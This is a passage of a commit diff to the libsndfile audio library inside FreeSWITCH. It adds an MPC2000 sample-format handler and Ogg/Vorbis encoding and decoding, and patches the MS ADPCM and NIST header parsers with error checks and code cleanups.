+** You should have received a copy of the GNU Lesser General Public License
+** along with this program; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+#include "sfconfig.h"
+
+#include <stdio.h>
+#include <fcntl.h>
+#include <string.h>
+#include <ctype.h>
+
+#include "sndfile.h"
+#include "sfendian.h"
+#include "common.h"
+
+/*
+**	Info from Olivier Tristan <o.tristan@ultimatesoundbank.com>
+**
+**	HEADER
+**	2 magic bytes: 1 and 4.
+**	17 char for the name of the sample.
+**	3 bytes: level, tune and channels (0 for channels is mono while 1 is stereo)
+**	4 uint32: sampleStart, loopEnd, sampleFrames and loopLength
+**	1 byte: loopMode (0 no loop, 1 forward looping)
+**	1 byte: number of beat in loop
+**	1 uint16: sampleRate
+**	
+**	DATA
+**	Data are always non compressed 16 bits interleaved
+*/
+
+#define HEADER_LENGTH		42	/* Sum of above data fields. */
+#define HEADER_NAME_LEN		17	/* Length of name string. */
+
+#define	SFE_MPC_NO_MARKER	666
+
+/*------------------------------------------------------------------------------
+** Private static functions.
+*/
+
+static	int		mpc2k_close		(SF_PRIVATE *psf) ;
+
+static int		mpc2k_write_header (SF_PRIVATE *psf, int calc_length) ;
+static int		mpc2k_read_header (SF_PRIVATE *psf) ;
+
+/*------------------------------------------------------------------------------
+** Public function.
+*/
+
+int
+mpc2k_open	(SF_PRIVATE *psf)
+{	int		subformat ;
+	int		error = 0 ;
+
+	if (psf->mode == SFM_READ || (psf->mode == SFM_RDWR && psf->filelength > 0))
+	{	if ((error = mpc2k_read_header (psf)))
+			return error ;
+		} ;
+
+	if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_MPC2K)
+		return	SFE_BAD_OPEN_FORMAT ;
+
+	subformat = SF_CODEC (psf->sf.format) ;
+
+	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
+	{	if (mpc2k_write_header (psf, SF_FALSE))
+			return psf->error ;
+
+		psf->write_header = mpc2k_write_header ;
+		} ;
+
+	psf->container_close = mpc2k_close ;
+
+	psf->blockwidth = psf->bytewidth * psf->sf.channels ;
+
+	error = pcm_init (psf) ;
+
+	return error ;
+} /* mpc2k_open */
+
+/*------------------------------------------------------------------------------
+*/
+
+static int
+mpc2k_close	(SF_PRIVATE *psf)
+{
+	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
+		mpc2k_write_header (psf, SF_TRUE) ;
+
+	return 0 ;
+} /* mpc2k_close */
+
+static int
+mpc2k_write_header (SF_PRIVATE *psf, int calc_length)
+{	char sample_name [HEADER_NAME_LEN + 1] ;
+	sf_count_t	current ;
+
+	if (psf->pipeoffset > 0)
+		return 0 ;
+
+	current = psf_ftell (psf) ;
+
+	if (calc_length)
+	{	psf->filelength = psf_get_filelen (psf) ;
+
+		psf->dataoffset = HEADER_LENGTH ;
+		psf->datalength = psf->filelength - psf->dataoffset ;
+
+		psf->sf.frames = psf->datalength / (psf->bytewidth * psf->sf.channels) ;
+		} ;
+
+	/* Reset the current header length to zero. */
+	psf->header [0] = 0 ;
+	psf->headindex = 0 ;
+
+	/*
+	** Only attempt to seek if we are not writng to a pipe. If we are
+	** writing to a pipe we shouldn't be here anyway.
+	*/
+	if (psf->is_pipe == SF_FALSE)
+		psf_fseek (psf, 0, SEEK_SET) ;
+
+	snprintf (sample_name, sizeof (sample_name), "%s                    ", psf->filename) ;
+
+	psf_binheader_writef (psf, "e11b", 1, 4, sample_name, make_size_t (HEADER_NAME_LEN)) ;
+	psf_binheader_writef (psf, "e111", 100, 0, (psf->sf.channels - 1) & 1) ;
+	psf_binheader_writef (psf, "et4888", 0, psf->sf.frames, psf->sf.frames, psf->sf.frames) ;
+	psf_binheader_writef (psf, "e112", 0, 1, (uint16_t) psf->sf.samplerate) ;
+
+	/* Always 16 bit little endian data. */
+	psf->bytewidth = 2 ;
+	psf->endian = SF_ENDIAN_LITTLE ;
+
+	psf_fwrite (psf->header, psf->headindex, 1, psf) ;
+
+	if (psf->error)
+		return psf->error ;
+
+	psf->dataoffset = psf->headindex ;
+
+	if (current > 0)
+		psf_fseek (psf, current, SEEK_SET) ;
+
+	return psf->error ;
+} /* mpc2k_write_header */
+
+static int
+mpc2k_read_header (SF_PRIVATE *psf)
+{	char sample_name [HEADER_NAME_LEN + 1] ;
+	unsigned char bytes [4] ;
+	uint32_t sample_start, loop_end, sample_frames, loop_length ;
+	uint16_t sample_rate ;
+
+	psf_binheader_readf (psf, "pebb", 0, bytes, 2, sample_name, make_size_t (HEADER_NAME_LEN)) ;
+
+	if (bytes [0] != 1 || bytes [1] != 4)
+		return SFE_MPC_NO_MARKER ;
+
+	sample_name [HEADER_NAME_LEN] = 0 ;
+
+	psf_log_printf (psf, "MPC2000\n  Name         : %s\n", sample_name) ;
+
+	psf_binheader_readf (psf, "eb4444", bytes, 3, &sample_start, &loop_end, &sample_frames, &loop_length) ;
+
+	psf->sf.channels = bytes [2] ? 2 : 1 ;
+
+	psf_log_printf (psf, "  Level        : %d\n  Tune         : %d\n  Stereo       : %s\n", bytes [0], bytes [1], bytes [2] ? "Yes" : "No") ;
+
+	psf_log_printf (psf, "  Sample start : %d\n  Loop end     : %d\n  Frames       : %d\n  Length       : %d\n", sample_start, loop_end, sample_frames, loop_length) ;
+
+	psf_binheader_readf (psf, "eb2", bytes, 2, &sample_rate) ;
+
+	psf_log_printf (psf, "  Loop mode    : %s\n  Beats        : %d\n  Sample rate  : %d\nEnd\n", bytes [0] ? "None" : "Fwd", bytes [1], sample_rate) ;
+
+	psf->sf.samplerate = sample_rate ;
+
+	psf->sf.format = SF_FORMAT_MPC2K | SF_FORMAT_PCM_16 ;
+
+	psf->dataoffset = psf_ftell (psf) ;
+
+	/* Always 16 bit little endian data. */
+	psf->bytewidth = 2 ;
+	psf->endian = SF_ENDIAN_LITTLE ;
+
+	psf->datalength = psf->filelength - psf->dataoffset ;
+	psf->blockwidth = psf->sf.channels * psf->bytewidth ;
+	psf->sf.frames = psf->datalength / psf->blockwidth ;
+
+	psf->sf.frames = (psf->filelength - psf->dataoffset) / psf->blockwidth ;
+
+	return 0 ;
+} /* mpc2k_read_header */
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/ms_adpcm.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/ms_adpcm.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/ms_adpcm.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -21,10 +21,10 @@
 #include	<stdio.h>
 #include	<stdlib.h>
 #include	<string.h>
+#include	<math.h>
 
 #include	"sndfile.h"
 #include	"sfendian.h"
-#include	"float_cast.h"
 #include	"common.h"
 #include	"wav_w64.h"
 
@@ -154,6 +154,11 @@
 	pms->blocksize	= blockalign ;
 	pms->samplesperblock = samplesperblock ;
 
+	if (pms->blocksize == 0)
+	{	psf_log_printf (psf, "*** Error : pms->blocksize should not be zero.\n") ;
+		return SFE_INTERNAL ;
+		} ;
+
 	if (psf->mode == SFM_READ)
 	{	pms->dataremaining	 = psf->datalength ;
 
@@ -164,7 +169,9 @@
 
 		count = 2 * (pms->blocksize - 6 * pms->channels) / pms->channels ;
 		if (pms->samplesperblock != count)
-			psf_log_printf (psf, "*** Warning : samplesperblock shoud be %d.\n", count) ;
+		{	psf_log_printf (psf, "*** Error : samplesperblock should be %d.\n", count) ;
+			return SFE_INTERNAL ;
+			} ;
 
 		psf->sf.frames = (psf->datalength / pms->blocksize) * pms->samplesperblock ;
 
@@ -825,10 +832,4 @@
 
 	return ;
 } /* choose_predictor */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: a98908a3-5305-4935-872b-77d6a86c330f
-*/
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/nist.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/nist.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/nist.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -63,10 +63,10 @@
 	{	if (psf->is_pipe)
 			return SFE_NO_PIPE_WRITE ;
 
-		if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_NIST)
+		if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_NIST)
 			return	SFE_BAD_OPEN_FORMAT ;
 
-		psf->endian = psf->sf.format & SF_FORMAT_ENDMASK ;
+		psf->endian = SF_ENDIAN (psf->sf.format) ;
 		if (psf->endian == 0 || psf->endian == SF_ENDIAN_CPU)
 			psf->endian = (CPU_IS_BIG_ENDIAN) ? SF_ENDIAN_BIG : SF_ENDIAN_LITTLE ;
 
@@ -81,7 +81,7 @@
 
 	psf->container_close = nist_close ;
 
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_PCM_S8 :
 				error = pcm_init (psf) ;
 				break ;
@@ -175,18 +175,18 @@
 			} ;
 		} ;
 
-	if ((cptr = strstr (psf_header, "channel_count -i ")))
+	if ((cptr = strstr (psf_header, "channel_count -i ")) != NULL)
 		sscanf (cptr, "channel_count -i %d", &(psf->sf.channels)) ;
 
-	if ((cptr = strstr (psf_header, "sample_rate -i ")))
+	if ((cptr = strstr (psf_header, "sample_rate -i ")) != NULL)
 		sscanf (cptr, "sample_rate -i %d", &(psf->sf.samplerate)) ;
 
-	if ((cptr = strstr (psf_header, "sample_count -i ")))
-	{	sscanf (psf_header, "sample_count -i %ld", &samples) ;
+	if ((cptr = strstr (psf_header, "sample_count -i ")) != NULL)
+	{	sscanf (cptr, "sample_count -i %ld", &samples) ;
 		psf->sf.frames = samples ;
 		} ;
 
-	if ((cptr = strstr (psf_header, "sample_n_bytes -i ")))
+	if ((cptr = strstr (psf_header, "sample_n_bytes -i ")) != NULL)
 		sscanf (cptr, "sample_n_bytes -i %d", &(psf->bytewidth)) ;
 
 	/* Default endian-ness (for 8 bit, u-law, A-law. */
@@ -307,7 +307,7 @@
 	psf_asciiheader_printf (psf, "channel_count -i %d\n", psf->sf.channels) ;
 	psf_asciiheader_printf (psf, "sample_rate -i %d\n", psf->sf.samplerate) ;
 
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_PCM_S8 :
 				psf_asciiheader_printf (psf, "sample_coding -s3 pcm\n") ;
 				psf_asciiheader_printf (psf, "sample_n_bytes -i 1\n"
@@ -357,11 +357,3 @@
 	return psf->error ;
 } /* nist_write_header */
 
-
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: b45ed85d-9e22-4ad9-b78c-4b58b67152a8
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/ogg.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/ogg.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/ogg.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,6 @@
 /*
-** Copyright (C) 2002-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2007 John ffitch
 **
 ** This program is free software ; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -8,7 +9,7 @@
 **
 ** This program is distributed in the hope that it will be useful,
 ** but WITHOUT ANY WARRANTY ; without even the implied warranty of
-** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.	 See the
 ** GNU Lesser General Public License for more details.
 **
 ** You should have received a copy of the GNU Lesser General Public License
@@ -16,29 +17,1142 @@
 ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 */
 
+/*
+**  Much of this code is based on the examples in libvorbis from the
+** XIPHOPHORUS Company http://www.xiph.org/ which has a BSD-style Licence
+** Copyright (c) 2002, Xiph.org Foundation
+**
+** Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions
+** are met:
+**
+** - Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+**
+** - Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in the
+** documentation and/or other materials provided with the distribution.
+**
+** - Neither the name of the Xiph.org Foundation nor the names of its
+** contributors may be used to endorse or promote products derived from
+** this software without specific prior written permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE FOUNDATION
+** OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES ; LOSS OF USE,
+** DATA, OR PROFITS ; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
 #include "sfconfig.h"
 
 #include <stdio.h>
 #include <fcntl.h>
 #include <string.h>
 #include <ctype.h>
+#include <time.h>
+#include <math.h>
 
+#if HAVE_UNISTD_H
+#include <unistd.h>
+#endif
+
 #include "sndfile.h"
 #include "sfendian.h"
 #include "common.h"
 
+#if HAVE_EXTERNAL_LIBS
+
+#include <vorbis/codec.h>
+#include <vorbis/vorbisenc.h>
+
+typedef int convert_func (int, void *, int, int, float **) ;
+
+static int	ogg_read_header (SF_PRIVATE *psf, int log_data) ;
+static int	ogg_write_header (SF_PRIVATE *psf, int calc_length) ;
+static int	ogg_close (SF_PRIVATE *psf) ;
+static int	ogg_command (SF_PRIVATE *psf, int command, void *data, int datasize) ;
+static sf_count_t	ogg_seek (SF_PRIVATE *psf, int mode, sf_count_t offset) ;
+static sf_count_t	ogg_read_s (SF_PRIVATE *psf, short *ptr, sf_count_t len) ;
+static sf_count_t	ogg_read_i (SF_PRIVATE *psf, int *ptr, sf_count_t len) ;
+static sf_count_t	ogg_read_f (SF_PRIVATE *psf, float *ptr, sf_count_t len) ;
+static sf_count_t	ogg_read_d (SF_PRIVATE *psf, double *ptr, sf_count_t len) ;
+static sf_count_t	ogg_write_s (SF_PRIVATE *psf, const short *ptr, sf_count_t len) ;
+static sf_count_t	ogg_write_i (SF_PRIVATE *psf, const int *ptr, sf_count_t len) ;
+static sf_count_t	ogg_write_f (SF_PRIVATE *psf, const float *ptr, sf_count_t len) ;
+static sf_count_t	ogg_write_d (SF_PRIVATE *psf, const double *ptr, sf_count_t len) ;
+static sf_count_t	ogg_read_sample (SF_PRIVATE *psf, void *ptr, sf_count_t lens, convert_func *transfn) ;
+static sf_count_t	ogg_length (SF_PRIVATE *psf) ;
+
+typedef struct
+{	int id ;
+	const char *name ;
+} STR_PAIRS ;
+
+static STR_PAIRS vorbis_metatypes [] =
+{	{	SF_STR_TITLE,		"Title" },
+	{	SF_STR_COPYRIGHT,	"Copyright" },
+	{	SF_STR_SOFTWARE,	"Software" },
+	{	SF_STR_ARTIST,		"Artist" },
+	{	SF_STR_COMMENT,		"Comment" },
+	{	SF_STR_DATE,		"Date" },
+	{	SF_STR_ALBUM,		"Album" },
+	{	SF_STR_LICENSE,		"License" },
+} ;
+
+typedef struct
+{	/* Sync and verify incoming physical bitstream */
+	ogg_sync_state oy ;
+	/* Take physical pages, weld into a logical stream of packets */
+	ogg_stream_state os ;
+	/* One Ogg bitstream page.  Vorbis packets are inside */
+	ogg_page og ;
+	/* One raw packet of data for decode */
+	ogg_packet op ;
+	int eos ;
+} OGG_PRIVATE ;
+
+typedef struct
+{	/* Count current location */
+	sf_count_t loc ;
+	/* Struct that stores all the static vorbis bitstream settings */
+	vorbis_info	vi ;
+	/* Struct that stores all the bitstream user comments */
+	vorbis_comment vc ;
+	/* Ventral working state for the packet->PCM decoder */
+	vorbis_dsp_state vd ;
+	/* Local working space for packet->PCM decode */
+	vorbis_block vb ;
+
+	/* Encoding quality in range [0.0, 1.0]. */
+	double quality ;
+} VORBIS_PRIVATE ;
+
+static int
+ogg_read_header (SF_PRIVATE *psf, int log_data)
+{
+	OGG_PRIVATE *odata = (OGG_PRIVATE *) psf->container_data ;
+	VORBIS_PRIVATE *vdata = (VORBIS_PRIVATE *) psf->codec_data ;
+	char *buffer ;
+	int	 bytes ;
+	int i, nn ;
+
+	odata->eos = 0 ;
+
+	/* Weird stuff happens if these aren't called. */
+	ogg_stream_reset (&odata->os) ;
+	ogg_sync_reset (&odata->oy) ;
+
+	/*
+	**	Grab some data at the head of the stream.  We want the first page
+	**	(which is guaranteed to be small and only contain the Vorbis
+	**	stream initial header) We need the first page to get the stream
+	**	serialno.
+	*/
+
+	/* Expose the buffer */
+	buffer = ogg_sync_buffer (&odata->oy, 4096L) ;
+
+	/* Grab the part of the header that has already been read. */
+	memcpy (buffer, psf->header, psf->headindex) ;
+	bytes = psf->headindex ;
+
+	/* Submit a 4k block to libvorbis' Ogg layer */
+	bytes += psf_fread (buffer + psf->headindex, 1, 4096 - psf->headindex, psf) ;
+	ogg_sync_wrote (&odata->oy, bytes) ;
+
+	/* Get the first page. */
+	if ((nn = ogg_sync_pageout (&odata->oy, &odata->og)) != 1)
+	{
+		/* Have we simply run out of data?  If so, we're done. */
+		if (bytes < 4096)
+			return 0 ;
+
+		/* Error case.  Must not be Vorbis data */
+		psf_log_printf (psf, "Input does not appear to be an Ogg bitstream.\n") ;
+		return SFE_MALFORMED_FILE ;
+		} ;
+
+	/*
+	**	Get the serial number and set up the rest of decode.
+	**	Serialno first ; use it to set up a logical stream.
+	*/
+	ogg_stream_clear (&odata->os) ;
+	ogg_stream_init (&odata->os, ogg_page_serialno (&odata->og)) ;
+
+	/*
+	**	This function (ogg_read_header) gets called multiple times, so the OGG
+	**	and vorbis structs have to be cleared every time we pass through to
+	**	prevent memory leaks.
+	*/
+	vorbis_block_clear (&vdata->vb) ;
+	vorbis_dsp_clear (&vdata->vd) ;
+	vorbis_comment_clear (&vdata->vc) ;
+	vorbis_info_clear (&vdata->vi) ;
+
+	/*
+	**	Extract the initial header from the first page and verify that the
+	**	Ogg bitstream is in fact Vorbis data.
+	**
+	**	I handle the initial header first instead of just having the code
+	**	read all three Vorbis headers at once because reading the initial
+	**	header is an easy way to identify a Vorbis bitstream and it's
+	**	useful to see that functionality seperated out.
+	*/
+	vorbis_info_init (&vdata->vi) ;
+	vorbis_comment_init (&vdata->vc) ;
+
+	if (ogg_stream_pagein (&odata->os, &odata->og) < 0)
+	{	/* Error ; stream version mismatch perhaps. */
+		psf_log_printf (psf, "Error reading first page of Ogg bitstream data\n") ;
+		return SFE_MALFORMED_FILE ;
+		} ;
+
+	if (ogg_stream_packetout (&odata->os, &odata->op) != 1)
+	{	/* No page? must not be vorbis. */
+		psf_log_printf (psf, "Error reading initial header packet.\n") ;
+		return SFE_MALFORMED_FILE ;
+		} ;
+
+	if (vorbis_synthesis_headerin (&vdata->vi, &vdata->vc, &odata->op) < 0)
+	{	/* Error case ; not a vorbis header. */
+		psf_log_printf (psf, "This Ogg bitstream does not contain Vorbis audio data.\n") ;
+		return SFE_MALFORMED_FILE ;
+		} ;
+
+	/*
+	**	Common Ogg metadata fields?
+	**	TITLE, VERSION, ALBUM, TRACKNUMBER, ARTIST, PERFORMER, COPYRIGHT, LICENSE,
+	**	ORGANIZATION, DESCRIPTION, GENRE, DATE, LOCATION, CONTACT, ISRC,
+	*/
+
+	if (log_data)
+	{	int k ;
+
+		for (k = 0 ; k < ARRAY_LEN (vorbis_metatypes) ; k++)
+		{	char *dd ;
+
+			dd = vorbis_comment_query (&vdata->vc, vorbis_metatypes [k].name, 0) ;
+			if (dd == NULL)
+				continue ;
+			psf_store_string (psf, vorbis_metatypes [k].id, dd) ;
+			} ;
+		} ;
+
+	/*
+	**	At this point, we're sure we're Vorbis.	We've set up the logical (Ogg)
+	**	bitstream decoder. Get the comment and codebook headers and set up the
+	**	Vorbis decoder.
+	**
+	**	The next two packets in order are the comment and codebook headers.
+	**	They're likely large and may span multiple pages.  Thus we reead
+	**	and submit data until we get our two pacakets, watching that no
+	**	pages are missing.  If a page is missing, error out ; losing a
+	**	header page is the only place where missing data is fatal.
+	*/
+
+	i = 0 ;			 /* Count of number of packets read */
+	while (i < 2)
+	{	int result = ogg_sync_pageout (&odata->oy, &odata->og) ;
+		if (result == 0)
+		{	/* Need more data */
+			buffer = ogg_sync_buffer (&odata->oy, 4096) ;
+			bytes = psf_fread (buffer, 1, 4096, psf) ;
+
+			if (bytes == 0 && i < 2)
+			{	psf_log_printf (psf, "End of file before finding all Vorbis headers!\n") ;
+				return SFE_MALFORMED_FILE ;
+				} ;
+			nn = ogg_sync_wrote (&odata->oy, bytes) ;
+			}
+		else if (result == 1)
+		{	/*
+			**	Don't complain about missing or corrupt data yet. We'll
+			**	catch it at the packet output phase.
+			**
+			**	We can ignore any errors here as they'll also become apparent
+			**	at packetout.
+			*/
+			nn = ogg_stream_pagein (&odata->os, &odata->og) ;
+			while (i < 2)
+			{	result = ogg_stream_packetout (&odata->os, &odata->op) ;
+				if (result == 0)
+					break ;
+				if (result < 0)
+				{	/*	Uh oh ; data at some point was corrupted or missing!
+					**	We can't tolerate that in a header. Die. */
+					psf_log_printf (psf, "Corrupt secondary header.	Exiting.\n") ;
+					return SFE_MALFORMED_FILE ;
+					} ;
+
+				vorbis_synthesis_headerin (&vdata->vi, &vdata->vc, &odata->op) ;
+				i++ ;
+				} ;
+			} ;
+		} ;
+
+	if (log_data)
+	{	int printed_metadata_msg = 0 ;
+		int k ;
+
+		psf_log_printf (psf, "\nBitstream is %d channel, %D Hz\n", vdata->vi.channels, vdata->vi.rate) ;
+		psf_log_printf (psf, "Encoded by: %s\n", vdata->vc.vendor) ;
+
+		/* Throw the comments plus a few lines about the bitstream we're decoding. */
+		for (k = 0 ; k < ARRAY_LEN (vorbis_metatypes) ; k++)
+		{	char *dd ;
+
+			dd = vorbis_comment_query (&vdata->vc, vorbis_metatypes [k].name, 0) ;
+			if (dd == NULL)
+				continue ;
+
+			if (printed_metadata_msg == 0)
+			{	psf_log_printf (psf, "Metadata :\n") ;
+				printed_metadata_msg = 1 ;
+				} ;
+
+			psf_store_string (psf, vorbis_metatypes [k].id, dd) ;
+			psf_log_printf (psf, "  %-10s : %s\n", vorbis_metatypes [k].name, dd) ;
+			} ;
+
+		psf_log_printf (psf, "End\n") ;
+		} ;
+
+	psf->sf.samplerate	= vdata->vi.rate ;
+	psf->sf.channels	= vdata->vi.channels ;
+	psf->sf.format		= SF_FORMAT_OGG | SF_FORMAT_VORBIS ;
+
+	/*	OK, got and parsed all three headers. Initialize the Vorbis
+	**	packet->PCM decoder.
+	**	Central decode state. */
+	vorbis_synthesis_init (&vdata->vd, &vdata->vi) ;
+
+	/*	Local state for most of the decode so multiple block decodes can
+	**	proceed in parallel. We could init multiple vorbis_block structures
+	**	for vd here. */
+	vorbis_block_init (&vdata->vd, &vdata->vb) ;
+
+	vdata->loc = 0 ;
+
+	return 0 ;
+} /* ogg_read_header */
+
+static int
+ogg_write_header (SF_PRIVATE *psf, int UNUSED (calc_length))
+{
+	OGG_PRIVATE *odata = (OGG_PRIVATE *) psf->container_data ;
+	VORBIS_PRIVATE *vdata = (VORBIS_PRIVATE *) psf->codec_data ;
+	int k, ret ;
+
+	vorbis_info_init (&vdata->vi) ;
+
+	/* The style of encoding should be selectable here, VBR quality mode. */
+	ret = vorbis_encode_init_vbr (&vdata->vi, psf->sf.channels, psf->sf.samplerate, vdata->quality) ;
+
+#if 0
+	ret = vorbis_encode_init (&vdata->vi, psf->sf.channels, psf->sf.samplerate, -1, 128000, -1) ; /* average bitrate mode */
+	ret = ( vorbis_encode_setup_managed (&vdata->vi, psf->sf.channels,
+						 psf->sf.samplerate, -1, 128000, -1) ||
+		vorbis_encode_ctl (&vdata->vi, OV_ECTL_RATEMANAGE_AVG, NULL) ||
+		vorbis_encode_setup_init (&vdata->vi)) ;
+#endif
+	if (ret)
+		return SFE_BAD_OPEN_FORMAT ;
+
+	vdata->loc = 0 ;
+
+	/* add a comment */
+	vorbis_comment_init (&vdata->vc) ;
+
+	vorbis_comment_add_tag (&vdata->vc, "ENCODER", "libsndfile") ;
+	for (k = 0 ; k < SF_MAX_STRINGS ; k++)
+	{	const char * name ;
+
+		if (psf->strings [k].type == 0)
+			break ;
+
+		switch (psf->strings [k].type)
+		{	case SF_STR_TITLE :		name = "TITLE" ; break ;
+			case SF_STR_COPYRIGHT : name = "COPYRIGHT" ; break ;
+			case SF_STR_SOFTWARE :	name = "SOFTWARE" ; break ;
+			case SF_STR_ARTIST :	name = "ARTIST" ; break ;
+			case SF_STR_COMMENT :	name = "COMMENT" ; break ;
+			case SF_STR_DATE :		name = "DATE" ; break ;
+			case SF_STR_ALBUM :		name = "ALBUM" ; break ;
+			case SF_STR_LICENSE :	name = "LICENSE" ; break ;
+			default : continue ;
+			} ;
+
+		vorbis_comment_add_tag (&vdata->vc, name, psf->strings [k].str) ;
+		} ;
+
+	/* set up the analysis state and auxiliary encoding storage */
+	vorbis_analysis_init (&vdata->vd, &vdata->vi) ;
+	vorbis_block_init (&vdata->vd, &vdata->vb) ;
+
+	/*
+	**	Set up our packet->stream encoder.
+	**	Pick a random serial number ; that way we can more likely build
+	**	chained streams just by concatenation.
+	*/
+
+	ogg_stream_init (&odata->os, psf_rand_int32 ()) ;
+
+	/* Vorbis streams begin with three headers ; the initial header (with
+	   most of the codec setup parameters) which is mandated by the Ogg
+	   bitstream spec.  The second header holds any comment fields.	 The
+	   third header holds the bitstream codebook.  We merely need to
+	   make the headers, then pass them to libvorbis one at a time ;
+	   libvorbis handles the additional Ogg bitstream constraints */
+
+	{	ogg_packet header ;
+		ogg_packet header_comm ;
+		ogg_packet header_code ;
+		int result ;
+
+		vorbis_analysis_headerout (&vdata->vd, &vdata->vc, &header, &header_comm, &header_code) ;
+		ogg_stream_packetin (&odata->os, &header) ; /* automatically placed in its own page */
+		ogg_stream_packetin (&odata->os, &header_comm) ;
+		ogg_stream_packetin (&odata->os, &header_code) ;
+
+		/* This ensures the actual
+		 * audio data will start on a new page, as per spec
+		 */
+		while ((result = ogg_stream_flush (&odata->os, &odata->og)) != 0)
+		{	psf_fwrite (odata->og.header, 1, odata->og.header_len, psf) ;
+			psf_fwrite (odata->og.body, 1, odata->og.body_len, psf) ;
+			} ;
+	}
+
+	return 0 ;
+} /* ogg_write_header */
+
+static int
+ogg_close (SF_PRIVATE *psf)
+{
+	OGG_PRIVATE *odata = (OGG_PRIVATE *) psf->container_data ;
+	VORBIS_PRIVATE *vdata = (VORBIS_PRIVATE *) psf->codec_data ;
+
+	if (odata == NULL || vdata == NULL)
+		return 0 ;
+
+	/*	Clean up this logical bitstream ; before exit we shuld see if we're
+	**	followed by another [chained]. */
+
+	if (psf->mode == SFM_WRITE)
+	{
+		if (psf->write_current <= 0)
+			ogg_write_header (psf, 0) ;
+
+		vorbis_analysis_wrote (&vdata->vd, 0) ;
+		while (vorbis_analysis_blockout (&vdata->vd, &vdata->vb) == 1)
+		{
+
+		/* analysis, assume we want to use bitrate management */
+			vorbis_analysis (&vdata->vb, NULL) ;
+			vorbis_bitrate_addblock (&vdata->vb) ;
+
+			while (vorbis_bitrate_flushpacket (&vdata->vd, &odata->op))
+			{	/* weld the packet into the bitstream */
+				ogg_stream_packetin (&odata->os, &odata->op) ;
+
+				/* write out pages (if any) */
+				while (!odata->eos)
+				{	int result = ogg_stream_pageout (&odata->os, &odata->og) ;
+					if (result == 0) break ;
+					psf_fwrite (odata->og.header, 1, odata->og.header_len, psf) ;
+					psf_fwrite (odata->og.body, 1, odata->og.body_len, psf) ;
+
+		/* this could be set above, but for illustrative purposes, I do
+		   it here (to show that vorbis does know where the stream ends) */
+
+					if (ogg_page_eos (&odata->og)) odata->eos = 1 ;
+				}
+			}
+		}
+	}
+
+	/* ogg_page and ogg_packet structs always point to storage in
+	   libvorbis.  They are never freed or manipulated directly */
+
+	vorbis_block_clear (&vdata->vb) ;
+	vorbis_dsp_clear (&vdata->vd) ;
+	vorbis_comment_clear (&vdata->vc) ;
+	vorbis_info_clear (&vdata->vi) ;	 /* must be called last */
+	/* should look here to reopen if chained */
+
+	/* OK, clean up the framer */
+	ogg_sync_clear (&odata->oy) ;
+	ogg_stream_clear (&odata->os) ;
+
+	return 0 ;
